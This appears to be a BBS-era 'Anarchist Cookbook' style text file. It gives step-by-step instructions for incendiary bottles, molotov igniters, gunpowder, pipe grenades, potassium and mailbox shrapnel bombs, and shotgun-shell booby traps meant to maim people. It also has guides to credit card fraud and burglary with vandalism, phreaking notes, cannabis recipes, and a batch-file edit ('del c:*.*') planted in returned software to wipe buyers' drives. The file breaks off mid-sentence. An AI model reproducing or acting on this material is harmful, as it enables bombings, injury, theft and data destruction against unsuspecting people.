1 packet onion soup mix
1 (16 oz.) can whole peeled tomatoes
1/2 cup chopped grass
2 lbs. ground beef or chicken or turkey
1 egg
4 slices bread, crumbled
Mix all ingredients and shape into a loaf. Bake for one hour in
400-degree oven. Serves about six.
Chili Bean Pot
--------------
2 lbs. pinto beans
1 lb. bacon, cut into two-inch sections
2 cups red wine
4 tablespoons chili powder
1/2 clove garlic
1 cup chopped grass
1/2 cup mushrooms
Soak beans overnight in water. In a lagre pot pour boiling water
over beans and simmer for at least an hour, adding more water to
keep beans covered. Now add all other ingredients and continue to
simmer for another three hours. Salt to taste. Serves about ten.
Bird Stuffing
-------------
5 cups rye bread crumbs
2 tablespoons poultry seasoning
1/2 cup each of raisins and almonds
1/2 cup celery
1/3 cup chopped onions
3 tablespoons melted butter
1/2 cup chopped grass
2 tablespoons red wine
Mix it all together, and then stuff it in.
Apple Pot
---------
4 apples (cored)
1/2 cup brown sugar
1/4 cup water
4 cherries
1/3 cup chopped grass
2 tablespoons cinnamon
Powder the grass in a blender, then mix grass with sugar and water.
Stuff cores with this paste. Sprinkle apples with cinnamon, and
top with a cherry. Bake for 25 minutes at 350 degrees.
Pot Brownies
------------
1/2 cup flour
3 tablespoons shortening
2 tablespoons honey
1 egg (beaten)
1 tablespoon water
1/2 cup grass
pinch of salt
1/4 teaspoon baking powder
1/2 cup sugar
2 tablespoons corn syrup
1 square melted chocolate
1 teaspoon vanilla
1/2 cup chopped nuts
Sift flour, baking powder, and salt together. Mix shortening,
sugar, honey, syrup, and egg. Then blend in chocolate and other
ingredients, and mix well. Spread in an 8-inch pan and bake for 20
minutes ate 350 degrees.
Banana Bread
------------
1/2 cup shortening
2 eggs
1 teaspoon lemon juice
3 teaspoons baking powder
1 cup sugar
1 cup mashed bananas
2 cups sifted flour
1/2 cup chopped grass
1/2 teaspoon salt
1 cup chopped nuts
Mix the shortening and sugar, beat eggs, and add to mixture.
Seperately mix bananas with lemon juice and add to the first
mixture. Sift flour, salt, and baking powder together, then mix
all ingredients together. Bake for 1 1/4 hours at 375 degrees.
Sesame Seed Cookies
-------------------
3 oz. ground roast sesame seeds
3 tablespoons ground almonds
1/4 teaspoon nutmeg
1/4 cup honey
1/2 teaspoon ground ginger
1/4 teaspoon cinnamon
1/4 oz. grass
Toast the grass until slightly brown and then crush it in a
mortar. Mix crushed grass with all other ingredients, in a
skillet. Place skillet over low flame and add 1 tablespoon of salt
butter. Allow it to cook. When cool, roll mixture into little
balls and dip them into the sesame seeds.
If you happen to be in the country at a place where pot is being
grown, here's one of the greatest recipes you can try. Pick a
medium-sized leaf off of the marihuana plant and dip it into a cup
of drawn butter, add salt, and eat.
-----------Exodus---------
(from the Anarchist's Cookbook IV!)
_
Peanuts Orig. by the Jolly Roger
Try this sometime when you are bored!
1) Take one pound of raw peanuts (not roasted!)
2) Shell them, saving the skins and discarding the shells.
3) Eat the nuts.
4) Grind up the skins and roll them into a cigarette, and smoke!
You'll have fun, believe me! -------------Exodus-----------
_
Chemical Fire Bottle Orig. by the Jolly Roger
This incendiary bottle is self-igniting on target impact.
Materials Required
------------------
How Used Common Source
Sulphuric Acid Storage Batteries Motor Vehicles
Material Processing Industrial Plants
Gasoline Motor Fuel Gas Station or
Motor Vehicles
Potassium Chlorate Medicine Drug Stores
Sugar Sweetening Foods Food Store
Glass bottle with stopper (roughly 1 quart size)
Small Bottle or jar with lid.
Rag or absorbant paper (paper towels, newspaper)
String or rubber bands
Procedure:
---------
1) Sulphuric Acid MUST be concentrated. If battery acid or other
dilute acid is used, concentrate it by boiling until dense white
fumes are given off. Container used to boil should be of
enamel-ware or oven glass.
CAUTION: Sulphuric Acid will burn skin and destroy clothing. If
any is spilled, wash it away with a large quantity of water. Fumes
are also VERY dangerous and should not be inhaled.
2) Remove the acid from heat and allow to cool to room
temperature.
3) Pour gasoline into the large (1 quart) bottle until it is
approximately 1/3 full.
4) Add concentrated sulphuric acid to gasoline slowly until the
bottle is filled to within 1" to 2" from top. Place the stopper on
the bottle.
5) Wash the outside of the bottle thoroughly with clear water.
CAUTION: If this is not done, the fire bottle may be dangerous to
handle during use!
6) Wrap a clean cloth or several sheets of absorbant paper around
the outside of the bottle. Tie with string or fasten with rubber
bands.
7) Dissolve 1/2 cup (100 grams) of potassium chlorate and 1/2 cup
(100 grams) of sugar in one cup (250 cc) of boiling water.
8) Allow the solution to cool, pour into the small bottle and cap
tightly. The cooled solution should be approx. 2/3 crystals and
1/3 liquid. If there is more than this, pour off excess before
using.
CAUTION: Store this bottle seperately from the other bottle!
How To Use:
----------
1) Shake the small bottle to mix contents and pour onto the cloth
or paper around the large bottle. Bottle can be used wet or after
solution is dried. However, when dry, the sugar-Potassium chlorate
mixture is very sensitive to spark or flame and should be handled
accordingly.
2) Throw or launch the bottle. When the bottle breaks against a
hard surface (target) the fuel will ignite.
--------------Exodus---------------
_
Igniter from Book Matches by the Jolly Roger
This is a hot igniter made from paper book matches for use
with molotov cocktail and other incendiaries.
Material Required:
-----------------
Paper book matches
Adhesive or friction tape
Procedure:
---------
1) Remove the staple(s) from match book and seperate matches from
cover.
2) Fold and tape one row of matches (fold in thirds)
3) Shape the cover into a tube with striking surface on the inside
and tape. Make sure the folder cover will fit tightly around the
taped match heads. Leave cover open at opposite end for insertion
of the matches.
4) Push the taped matches into the tube until the bottom ends are
exposed about 3/4 in. (2 cm)
5) Flatten and fold the open end of the tube so that it laps over
about 1 in. (2-1/2 cm); tape in place.
Use with a Molotov Cocktail:
---------------------------
1) Tape the "match end tab" of the igniter to the neck of the
molotov cocktail.
2) Grasp the "cover and tab" and pull sharply or quickly to
ignite.
General Use:
-----------
The book match igniter can be used by itself to ignite flammable
liquids, fuse cords, and similar items requiring hot ignition.
CAUTION: Store matches and completed igniters in moistureproof
containers such as rubber or plastic bags until ready for use.
Damp or wet paper book matches will not ignite.
Courtesy of -= Exodus =-_
"Red or White Powder" Propellant by the Jolly Roger
"Red or White Powder" Propellant may be prepared in a simple,
safe manner. The formulation described below will result in
approximately 2 1/2 pounds of powder. This is a small arms
propellant and should only be used in weapons with 1/2 in.
diameter or less (but not pistols!).
Material Required:
-----------------
Heat Source (Kitchen Stove or open fire)
2 gallon metal bucket
Measuring cup (8 ounces)
Wooden spoon or rubber spatula
Metal sheet or aluminum foil (at least 18 in. sq.)
Flat window screen (at least 1 foot square)
Potassium Nitrate (granulated) 2-1/3 cups
White sugar (granulated) 2 cups
Powdered ferric oxide (rust) 1/8 cup (if available)
Clear water, 1-1/2 cups
Procedure:
---------
1) Place the sugar, potassium nitrate, and water in the bucket.
Heat with a low flame, stirring occasionally until the sugar and
potassium nitrate dissolve.
2) If available, add the ferric oxide (rust) to the solution.
Increase the flame under the mixture until it boils gently.
NOTE: The mixture will retain the rust coloration.
3) Stir and scrape the bucket sides occasionally until the mixture
is reduced to one quarter of its original volume, then stir
continuously.
4) As the water evaporates, the mixture will become thicker until
it reaches the consistency of cooked breakfast cereal or homemade
fudge. At this stage of thickness, remove the bucket from the heat
source, and spread the mass on the metal sheet.
5) While the material cools, score it with a spoon or spatula in
crisscrossed furrows about 1 inch apart.
6) Allow the material to dry, preferably in the sun. As it dries,
resore it accordingly (about every 20 minutes) to aid drying.
7) When the material has dried to a point where it is moist and
soft but not sticky to the touch, place a small spoonful on the
screen. Rub the material back and forth against the screen mesh
with spoon or other flat object until the material is granulated
into small worm-like particles.
8) After granulation, return the material to the sun to allow to
dry completely.
See later powder filez........ -= Exodus =-_
Pipe Hand Grenade by Exodus
Hand Grenades can be made from a piece of iron pipe. The
filler can be of plastic or granular military explosive,
improvised explosive, or propellant from shotgun or small arms
munition.
Material Required:
-----------------
Iron Pipe, threaded ends, 1-1/2" to 3" diameter, 3" to 8" long.
Two (2) iron pipe caps
Explosive or propellant
Nonelectric blasting cap (Commercial or military)
Fuse cord
Hand Drill
Pliers
Procedure:
---------
1) Place blasting cap on one end of fuse cord and crimp with
pliers.
NOTE: To find out how long the fuse cord should be, check the time
it takes a known length to burn. If 12 inches burns in 30 seconds,
a 6 inch cord will ignite the grenade in 15 seconds.
2) Screw pipe cap to one end of the pipe. Place fuse cord with
blasting cap into the opposite end so that the blasting cap is
near the center of the pipe.
NOTE: If plastic explosive is to be used, fill pipe BEFORE
inserting blasting cap. Push a round stick into the center of the
explosive to make a hole and then insert the blasting cap.
3) Pour explosive or propellant into pipe a little bit at a time.
Tap the base of the pipe frequently to settle filler.
4) Drill a hole in the center of the unassembled pipe caplarge
enough for the fuse cord to pass through.
5) Wipe pipe threads to remove any filler material. Slide the
drilled pipe cap over the fuse and screw handtight onto the pipe.
Ready to go!
Originally typed by the Jolly Roger._
U.K. CREDIT CARD FRAUD - 22/10/90 - Written by CREDITMAN
U.K. credit card fraud is a lot easier than over in the States. The
same basic 3 essentials are needed -
1...A safehouse.
2...Credit card numbers with Xp date and address.
3...Good suppliers of next day delivery goods.
1...The Safehouse
The safehouse should be on the ground floor, so as not to piss off
the delivery man when he comes to drop off your freshly stolen gear.
If he has to go up 10 flights in a complete dive and some 14 year old
kid signs for an A2000 then he's gonna wonder! Make sure there are no
nosey neighbours, a good area is one full of yuppies 'cos they all go
to work during daytime. Safehouses are usually obtained by paying a
month's rent in advance or putting down a deposit of say, oe200.
Either that or break into a place and use that.
2...Credit Card Numbers.
The card number, expiry date, start date (if possible), full name
(including middle inital), phone number and full address with postcode
are ideal. If you can only get the sirname, and no postcode, you
shouldn't have any real hassle. Just say you moved recently to your
new address. Phone number is handy, if it just rings and rings but if
it doesn't, then make sure it's ex-directory. You CANNOT get away
with giving them a bullshit phone number. Some fussy companies want
phone numbers just to cross-check on CARDNET but generally it's not
needed. To recap, here's a quick check-list...
1.Card number and Xpiry date.
2.Name and address of card holder.
3.First name/initials (OPTIONAL)
4.Start date (OPTIONAL)
5.Postcode (OPTIONAL)
6.Phone number (OPTIONAL)
If you have all 6, then you shouldn't have any hassle. Start date is
the rarest item you could be asked for, postcode and initals being
more common. If you are missing 3-6 then you need one helluva smoothtalking
bastard on the phone line!!!!
3...The Ordering
Not everyone can order oe1000's of stuff - it's not easy. You have to
be cool, smooth and have some good answers to their questions. I
advise that you only order up to oe500 worth of stuff in one go, but if
you have details 1-6 and the phone number will NOT be answered from 9-
5.30 P.M. then go up to oe1000 (make sure it's a GOLD card!). When
getting ready to order make sure you have at least 3 times the amount
of suppliers you need e.g.if you want to card 5 hard-drives, make sure
you have 15 suppliers. A lot of the time, they are either out stock,
can't do next day delivery or won't deliver to a different address.
Quick check list of what you must ask before handing over number -
1.Next day delivery, OK?
2.Ordered to different address to card, OK?
3.Do you have item in stock (pretty obvious, eh?)
Make sure you ask ALL of these questions before handing over your
precious number.
Excuses...
Usual excuses for a different address are that it's a present or
you're on business here for the next 5 weeks etc. Any old bullshit
why it won't go to the proper address.
WARNING!*******Invoices!*******WARNING!
Invoices are sometimes sent out with the actual parcel but they are
also sent out to the card owners (why do you think they need the
address for?) so using a safehouse for more than 2 days is risky. A 1
day shot is safe, if they catch on then they'll stop the goods before
getting a search warrant.
Credit Limits...
Limits on cards reach from oe500 to oe4000 on Gold cards. Your average
card will be about oe1000-oe1500. It takes a while to build up a good
credit rating in order to have large limits so don't think every card
will hold 12 IBM 386's! Visa and Access are always used - American
Xpress etc. are USELESS.
Access = Eurocard, Mastercard (begins with 5)
Visa = (begins with 4, 16 digit is a Gold)
A general rule is, always confirm an order to make sure credit is
cleared. As the month goes on, credit is used up - the bad times are
from 27th - 3rd which is when all the bills come in. Best time to
card is around 11th or 12th, when the poor guy has paid off his last
bill so you can run up a new one (he, he, he!).
Ideal items to card...
The best stuff is always computer hard-ware as it's next-day. Amigas,
ST's, PC's - anything really. Blank discs are a waste of time,
they're too heavy. Xternal drives, monitors - good stuff basically.
Don't order any shit like VCR's, hi-fi, video-cameras, music
keyboards, computer software, jewerely or anything under oe300. You'll
find the listed items are difficult to get next day delivery and
usually won't deliver to a different address - bastards, eh? You're
wasting your time with little items under oe300, try to keep deliveries
under 10 a day.
The drop....
Two ways of doing the drop
1.Sign for all the gear (make sure you're there between 9.00 and
5.30 P.M.)
2.Don't turn up till around 6.30 P.M. and collect all the cards
that the delivery man has left. These usually say 'you were out at XX
time so could you please arrange new time for delivery or pick up
from our depot'. In that case, piss off to the depot and get all the
gear (need a big car!).
Remember, carding is ILLEGAL kiddies, so don't do it unless you're
going to cut me on it!!!!
_
POTASSIUM BOMB
This is one of my favorites. This creates a very unstable explosive in a very
stable continer. You will need:
1) A two-ended bottle. These are kinda hard to find, you have to look around,
but if you cant find one, you will need a similar container in which there
are two totally seperate sides that are airtight and accessable at the ends,
like this:
!airtight seperator!
________________!_________________
| | |
/ | \
---- | ----
| c | | |c |
| a | | | a |
|___p| | |__p_|
\ | /
| | |
-----------------|-----------------
the seperator MUST remain airtight/watertight so this doesn't blow off your
arm in the process (believe me. it will if you are not exact)
2) Pure potassium. Not Salt Peter, or any shit like that. This must be the
pure element. This again may prove hard to find. Try a school chemistry
teacher. Tell her you need it for a project, or some shit like that. Try
to get the biggest piece you can, because this works best if it a solid
chuck, not a powder. You can also try Edmund Scientific Co. at:
Dept. 11A6
C929 Edscorp Bldg.
Barrington, NJ 08007
or call 1-(609)-547-8880
3) Cotton
4) Water
Instructions:
Take the cotton and stuff some into one end of the container lining one side
of the seperator. Place some potassiun, about the size of a quarter or
bigger (CAREFULLY, and make sure your hands are PERFECTLY DRY, this stuff
reacts VERY VIOLENTLY with water) into that side and pack it in tightly with
all the cotton you can fit. Now screw the cap on TIGHTLY.
On the other side of the seperator, fill it with as much water as will
fit, and screw that cap on TIGHTLY. You are now in possession of a compact
explosive made somewhat stable. To explode, throw it at something! The water
will react with the potassium, and BBBOOOOOOMMMM!!! Works great on windows
or windshields, because the glass fragments go everywhere (stand back) and
rip stuff apart. The bigger the piece, the bigger the boom. If no potassium
can be found, thy looking for PURE Sodium, it works well too.
EXODUS relenquishes any responsibility to anyone who attempts this.
You are on your own.......
PS: you could also place this little sucker under the wheel of a car of
someone you hate...(Wait till' they back over that one!!!).
HAVE PHUNNN HEE HEE !!
-----------EXODUS
_
Your Legal Rights
Because you possess this little collection of mostly illegal concepts, you
should be aware of your legal rights IF arrested (hey, it happens to the worst
of us).
Your Legal Rights are::
1) Have a hearing before a magistrate or judge, as soon as possible after you
are arrested.
2) Be notified of the charges against you.
3) Have a reasonable bail set, if bail is granted.
4) Have a FAIR, IMPARTIAL trial by jury.
5) Be present at all stages of the trial.
6) Confront your accusers. (without the baseball bat)
7) Have your lawyer cross-examine the witnesses.
8) Have your lawyer call on witnesses on your behalf.
9) Be tried for a crime olny once.
10) Receive neither crual nor unusual punishment if you are convicted of a
crime and sentenced.
NOTE!!!: These rights are for after you are arrested, and do not include the
reading of the rights, etc. If these rights are violated in ANY way, that may
be cause for a mistrial, or even total release.
---------EXODUS
<--* OUT TO HELP THE COMMOM PHREAK *-->
_
How The Law Protects Juvenile Offenders
(or tries to, anyway)
Juveniles accused of breaking the law are granted some special rights intended
to protect the, because of their age. If a juvenile is charged with a crime
punishable by a term in a reform school or juvenile detention facility, he is
assured the right to:
1) Remain silent, and not incriminate himself/herself.
2) Be placed in quarters seperate from adult offenders while being held in
custody.
3) Be notified before a hearing of the charges against him.
4) Be released to his parents or guardians after signing a written promise to
appear at his trial (unless the child is likely to run away and not come back
to court unless he is dangerous or may himself be in danger if sent back home).
5) Be tried at proceedings that are closed to the public.
6) Have a record of the proceedings made, in case one is needed for a future
appeal.
7) Be represented by a lawyer.
8) Have a lawyer appointed by the court if he cannot afford one.
9) Confront his accusers.
10) Have his lawyer cross-examine witnesses.
Again, these rights are for after you have been arrested.
--------------EXODUS
<--* OUT TO HELP THE COMMOM PHREAK *-->
_
Down the Road' Missle
This missle is aptly named because it travels best down a street or road. This
is nothing more that harmless phun intended to scare the living shit out of
oncoming cars.
How To Make A Missle
--------------------
All you need are :
-Hairspray can, or something else with flammable propellant (don't use
spraypaint dipshit, it makes a big mess!)
-book of ordinary matches
-tape (clear if possible, its thinner)
-BB or pellet gun (use BB's if possible)
Instructions:
-------------
Tape the book of matches to the bottom of the can, y'know, the CONCAVE part.
You might want to arrange the matches so that they are spread over a wide area
of the bottom of the can, but close together.
Shake the can up vigorously. Now place the can on its side with the
nozzle of the can pointed in the direction you want it to go, down a road, off
a ramp, at your sister, etc.. Now stand back a bit, and shoot at the matches.
It should take off at about 30 ft per sec!! What happens in case you couldn't
tell, is the BB hits the matches and causes a spark, and at roughly the same
time, punctures the weak bottom of the can. As the propellant sprays out, it
hopefully comes in contact with the spark, and presto. If you dont do it right
you'll blow a lot of money because each can can only be used once, so
experiment to find best results.
In The Air Missle
-----------------
Compile the rocket as stated before, and put it verticle on a stand of some
sort with the bottom accessable. Place a section of PVC pipe 95 deg.
preferred and shoot into the PVC pipe which should direct the BB upward, and
the can should take off. Experiment w/ different cans, its hard to find ones
that work perfectly, and still go higher than 30 ft.
----------EXODUS
_
Phunn With Shotgun Shells
This phile is for those have no concern for themselves or the person they
wanna fuck over with this. (in short, a fucking MANIAC!!!)
DoorBlams
---------
Shotgun shells are wonderful. They can be used in almost any situation where
pain or amputation of limbs is concerned (including your own if you are not
XTREEMLY careful. The best way to use shells, is the DoorBlam. The DoorBlam is
a simple concoction of a shell taped to the back of a door with the ignition
button facing away from the door (so it blows out against the door). Now
position it somewhere where it will do the damage you want. ie- near the top
for decapitation, middle for slow death, or low to make the victims kneecaps
fly across the room. Now tape a thumbtack against a wall or something that
that part of the door bumps up against. Tape it to the wall so that the point
pokes through the tape, and position it so it will hit the ignit. button upon
impact... Its that simple. Instant pain!
Long Range Explosives
---------------------
These are THE most difficult explosive i have ever tried to make (people i know
have lost fingers and hands to this little fucker) IF you have a VVVVERY still
hand, it might be accomplished. Ignit. buttons usually take some force to
make it blow, so CAREFULLY & LIGHLT push a tack through tape and tape it to
the back of the shell, with the tip of the tack LIGHTLY touching the button.
Add more tape to the back to hold the pin in place. If you still have hands at
this point, consider yourself lucky. Now you need to add a weight to the
tack-end part to make sure it hits the ground first. Taping small rocks or
making the shell by putting heavy loads towards the button helps. Placing a
cracker (yes a cracker (Saltines, anyone ?)) between the tack-point and the
button helps prevent detonation upon THROWING, which DOES happen. Now toss
it up high and AWAY from you, and RUN LIKE SHIT does after you eat Mexican.
These two pranx are HIGHLY UNRECOMMENDED, and EXODUS takes NO responsibility for
any causes of performing them nor the results.
--------EXODUS
_
Electronic Accessories
<--Every Phreaker Needs His Own-->
Some phreaks believe in the down-n-dirty customizing of equipment by
crafting it themselves...not me !. I believe that the other guy
should build the stuff, and I'll steal it and use it later. This is
a list of places where one can obtain the devices that would other
wise have to be built by hand. But after all, a good phreak can
take a pre-made item and adapt it to his needs.....
**COOL STUFF::**
Radar Jammers:
--------------
The "Eclipse"
$199.00
T.E.K. Distributers
P.O. Box 32287
Fridley, MN 55432
612-783-1666
Surveillance:
-------------
fone bugging, fone recording sys., etc...
EDE
P.O. Box 337
Buffalo, NY 14226
(716)-691-3476
catalog $5
USI Corp.,
P.O. Box PM-2052
Melbourne, FL 32902
catalog: $2
407-725-1000
Protector
P.O. Box 520294-M
Salt Lake City, UT 84152
(801)-487-3823
catalog $5
FREE catalog:
1-800-732-5000
SpyMart
P.O. Box 340-M
Morehead City, NC 28557
catalog $4
MICRO-VIDEO:
------------
SUPERCIRCUITS
13552 Research Blvd. #B-2
Austin, TX 78750
catalog $3
Scanners:
---------
CRB
P.O. Box 56
Commack, NY 11725
FREE catalog
HPR
P.O. Box 19224PM
Denver, CO 80219
(request information, I guess!?)
MISC::
------
INFORMATION UNLIMITED <<<---REALLY COOL SHIT, THE GOOD STUFF.
P.O. Box 716, Dept. PM294 (kinda expensive, so get ready to
Amherst, NH 03031 CARD!!)
FREE catalog (w/order, otherwise $1.00)
EDMUND SCIENTIFIC (always a fucking GREAT place to find the little
Dept. 14D2, nitty-gritty electronics that make up
C908 EdsCorp Bldg. colored boxes, and the like)
Barrington, NJ 08007
-------EXODUS
<--* Out To Help The Common Phreak *-->
_
Drip Timer
Another method of time delay for explosives that are detonated by
electric means, is the drip timer. Fill a 'baggie' with water and
then add as much salt as the water will hold. Seal it, leaving some
air inside. Then, tape the two contact wires from which the circut
has been broken, to the inside of a large cup. Place the baggie on
the cup. Poke a hole in the top of the 'baggie', where there is
air, and then make a hole in the bottom to let the water drain into
the cup. As any Einstien figures, the salt water level in the cup
will eventually cunduct electricity at the moment both wires touch
water, thus completing the circut. I have yet to try this timer
out, and I got the plans from a total idiot, phreaker nonetheless,
and doubt it would work with any power source under 12v.
------------------007
_
+++++++++++++++++++++++++++++++
++ STEALING ++
+++++++++++++++++++++++++++++++
It is strange just how many files there are out there that try to
document the art of stealing. After all, it IS an art. You have to
be calm, smooth, persistant, patient. Stealing is not an overnightplanned
operation. You should try to prepare for at least a week or
more when planning to steal from a house, and even LONGER when from
a business. Storytime, kiddies:
A long time ago, well, in the past year, my friends and I
noticed that the building complex in our town was the perfect place
to obtain unpaid-for items. We learned all we could about the
complex, which was about 365,000 sqft, and each company consisted of
an office (fully furnished with cool computer stuff), and a 10,000
sqft (roughly) warehouse, all interconnected, and all one level.
This information was obtained through several calls to the town
committee (board of development, or some shit like that, the place
that you call for building permits, and the like.), and we obtained
the blueprints for the whole complex. We planned a route from the
side entrance through the warehouse, and into the offices, where all
the good stuff is usually loacated. Now that we had our route, all
we needed was a plan to get inside. Since this was our first major
job, we spent a few good weeks on preparation. During the snow
weather, we worked w/ a company to shovel the sidewalks of the
complex. One night, at about 11 pm, we stopped shoveling in front
of our planned job site, Campbells Soup, Co. There was nobody there
except the janitors that cleaned up the place (or so we thought). I
asked the janitor if I could use the bathroom (I did have to go too)
and he let me in. I must have surprised him when I knew exactally
where the bathroom was! As I walked to it, I scanned for vid cams,
infrared guns/recievers (little boxes at entrances with a black
glass square about 1" sq. at about knee hight on each side).
Nothing. The doors all had security magnetic detection at the tops,
and also the windows. To think someone would break in through an
obvious place like a large window, stupid. To my surprise, there
were a few losers working late, and did'nt really care that I was
there at all. Take another Viverin' guys, I wont be here long. The
smell of black coffee was stifeling. The bathroom was located back
by the office's entrance to the warehouse, and to my surprise, it
was unlocked! The lights were on, and the place was totally empty,
except for a few cardboard remains, and shelves, and that blessed
side door. I walked over to the door to examine it. No security,
no vid cams in the warehouse, no nothing. Odd, usually these
warehouses were kept tight as a hookers pussy. But it looked like
they were packing up to move somewhere. Boxes on the office desks,
etc.. The door was locked with a key deadbolt (pain to pick) and a
regular door-knob key lock. No problem. I needed to stop that
deadbolt from being locked, so I looked around for something to
use....aha! There was some strange material like alum. foil on the
ground, pliable, yet of a black color. I took out a small allen key
(a thief never goes ANYWHERE without a small lockpicking tool) and
crammed enough of the stuff into the keyhole so that a key could not
be inserted far enough to turn, and the stuff was inn to far to be
pulled out. Viola! Back to the point of this story. When the time
came to make our move, something strange happened. The place was
abandoned for 3 days straight, most office equipment removed, and
the front door left ajar, for all 3 days. We still decided to enter
via our planned route. At 1:30am we went to the side door, and what
a surprise, the deadbolt lock was open. Now to the knob lock. It
was still locked, but not a problem. Knob locks usually look like
this:
|-wall socket>
--------------------------
| )
d -------------------------------|
o | |
o | )
r | )
| )
-------------------------
|
|-wall socket>
The top sliding piece is about 1/4" wide on popular locks, with the
bar facing you, if the door swings outward. With the smallest
allenkey you can get, stick it in and repeatively push and slide it
back towards the knob, but don't let go, because it is spring loaded
and will snap back into place again. Now for the larger bar. Take
another key and wedge it into the slot where the bar enters the
other wall (without the knob on it)! and do the same thing. This
will be considerably harder to do than with the small tongue, but if
you practiced like you should have, it will open with minimum effort.
Now we were inside. We ran through the warehouse thruogh the
warehouse/office door (these are rarely locked, but try to prepare
for it ahead of time by "cramming the lock" like I did) and into the
office. The place was empty, no shelves, just desks, chairs, and
boxes. The boxes contained modems, motherboards, bus cards,
printers, cables, fone cable, and one contained a Zenith laptop
computer! No shit, this is a true story! We took everything we
could carry (5 people). We took all the above mentioned, as well as
printer toner, fones, fone jacks, documents, desk chairs, insulated
boxes and bags (static-free kind), even the little shit things, like
outlet plates, light bulbs, ANYTHING!!! We went really crazy, and
were out in 2 min 30 sec.(always set a time limit)
We wound up throwing half the shit away, but it felt great just
to take anything that was not ours!! I have since then done other
"jobs" with much more precision, and effort, as well as better
rewards. Here are some tips that should be followed when attempting
to steal::
-WEAR GLOVES!!!!!!!!!!
-backpacks for everyone to put the loot in
-always case the joint for at least a week and keep documented
records of who leaves when, what time it closes, timed lights, etc...
-have at least 4 phriends with you, and ,please, make sure they know
what they are doing, no idiots allowed!
-bring tools :small allen keys, both types of screwdrivers, standard
size, and tiny, hacksaw blade, wire cutters and strippers,
spraypaint-to leave your handle on the wall, hammer, mace, gun-if
available, flashlights (duh), wire-good for re-routing door
security, and bolt cutters.
-designate a person to carry all the tools ONLY-don't have him
pickup stuff and mix it with the tools, this will only slow you down
later iff you need to look fir a tool quickly.
-designate a person to STAY PUT by the door and keep watch.
-designate a timer, one who has a lighted stopwatch.
-make runs NO LONGER THAT 3 MIN. ENEN THIS TIME IS EXTREEMELY
HIGH-TRY TO KEEP AS LOW AS POSSIBLE.
-getaway vehicle (preferably NOT a van or pickup truck, these will
be vers suspicious to the pigs..er.I mean cops. And don't speed, or
anything, this just attracts attention. Cover liscence plates till
just before you get your asses going, so no one can report the
plates to the pigs..oops!, damn, did it again, cops. Make sure you
remove covering before leaving.
-Always keep flashlights pointed DOWN unless necessary, crawl under
windows, no shouting, even if you find some phucking cool shit, on
second thought, maybe painting your handle is a little stupid, so
forget that, wear dark clothes OVER regular, non-suspicious clothes
(get changed first thing in the car)
-Never brag about your findings in public, only on modem, or on BBS,
and never give names of places, phriends, and exact names of things
taken, (just say you 'borrowed' a 486DX 33 motherboard, don't say is
a Intel 486DX 33 mhz for an IBM PS/1 model 50, serial
#XXXXXXXXXXXX. that is just plain dumb)
-Have phunn!! and never steal from your neighborhood.
-If you break into houses, never move stuff around; the longer it
takes the yuppie family to realize that you were there, the better.
-WEAR GLOVES!!!!!!!!!!!!!
-to get in windows: shoot window with BB gun, and place clear,
stickey hard-cover book covering on the window over the hole,
hopefully the inpact of the shot was enough to crack the glass, and
LEAN OR PUSH on the covered glass, do not hit or kick, and you will
see that the majority of the glass will stick to the covering, and
will make considerably less noise.
-enter through basement windows preferably under a deck or steps.
-MAKE SURE THE PEOPLE WILL BE GONE FOR THE NIGHT AND THE NEIGHBORS
ARE ASLEEP (GO FOR AROUND 2:30 AM)
-take stuff that will sell easily to friends, and don't waste time
taking things that look neat, just take the basics: electronic,
computer, TV, VCR, some jewelry-things you could easily hock,
preferably without inscriptions, raid the fridge, take good quality
fones, stereo equip., speakers, etc..
-always case the outside of the house looking for security stickers
that yuppie families like to place in full view.
-do mischievous shit like cut all fone lines in house, cut up couch
cushions, and flip them over so they look perfectly normal!; shoot a
hole in their fish tank, (all yuppies own fish); slash clothes, then
put them back into the drawer; unplug fridge; set thermostat way up
to 99.9 degrees; leave drain plugged and let the faucet run just a
little, (for 6 hours!!); whatever you can't take or carry out,
destroy in a subtle way, -if you can't carry out those 130 lb wood
case stereo speakers, slash the cones; break ballpoint pens open and
rub them into the carpet with their shoes; run a magnet over audio
and VCR cassettes and floppies, and anything else subtle that would
brighten their day.
A Classic, Brought To You By
-------EXODUS_
_____________________________
/ \
{+} MISCELLANEOUS INFORMATION {+}
\_____________________________/
Easy explosive:
-fill Kodak film case (y'know, the black cylinder with the grey cap)
with explosive of your choice. Drill hole in grey lid, insert fuse,
and tape it back together very tightly. Light.
or:
-poke a hole it the grey cap facing outwards, and insert an M-80
with fuse going through the hole and reseal, taping it tightly ALL
AROUND the case. Place in plastic mailbox, light, close door, and
get the hell away! Because of the tight airspace, the destructive
power of the explosion is increased 5X. Works under water too, with
a drop of wax, or preferably rubber cement around where the cap and
wick meet.
and:
-fill a GLASS coke/pepsi bottle with 1 part gas, 1 part sugar, & 1
part water. Wedge an M-80 into the top about halfway. Shake the
container, place in mailbox (hopefully with mail {hehe!}) light, and
get the fuck away. This thing sends glass shrapnel EVERYWHERE,
including through their mail.
Doorknob Shocker:
-run a wire from one slot in wall outlet to the bracket in the wall
that the knob's tongue inserts into. Run another wire from the
other slot to an inconspicuous spot on the DOORKNOB. How does that
one *grab* you?
Phone Loops: (remember, tone + silence = connection)
NUMBER | Tone/Silence (T/S) End | STATUS (on connection)
---------------------------------------------------------------------
?-???-???-???? S no match
1-619-748-0002 T definite tone
x-xxx-749-xxxx T definite tone
?-???-???-???? S no match
1-619-739-0002 T definite tone
x-xxx-xxx-xxx1 S not sure of match
x-xxx-738-0002 T definite
x-xxx-xxx-0020 S definite
x-xxx-7xx-0002 T definite
?-???-???-???? S no match
Actually, any 1-619-7x9-000x gives tone detect, finding the other
silent connection is a wee bit harder.
If anyone manages to complete some of these, or any loops, please
let me know.
The only bad thing about loop lines, is that eventually the Gestapo
finds out about the over-use of the line, and assigns the # to
anyone who wants a new # for thier fone. Then when phreaks begin to
use the line again, thinking it is a loop, they get a pissed off
yuppie who then has the call traced, and thats like putting your
balls right in a door and slamming it. The operator will complain
in your face, and say some bullshit like she has your # and will
report any disturbances to the fone co. if she sees it again.
Simple Virus/Easy Way To Return A Copied Program (hehe!)
-when you buy a game, or something from a computer store, copy it,
and want to return it (I know all of you do this), sometimes all the
store does is re-cellophane it and it goes back on the shelves
without being re-tested. If the original floppies have an
AUTOEXEC.BAT file on them to initiate the copying/decompression at
boot-up, simply edit it to say:
cd\
del c:*.*
y
That'll make someone's day real funny, especially if the store tries
to test it. Or, in most cases the store will not accept returned
merchandise if it is not defective, so DEFECT IT. This is done by
using a program that shows the date and time the originals were last
modified (check for this BEFORE installing the program!!!!!!) such as
Dosshell, or XTGold. Then set the date and time on your computer to
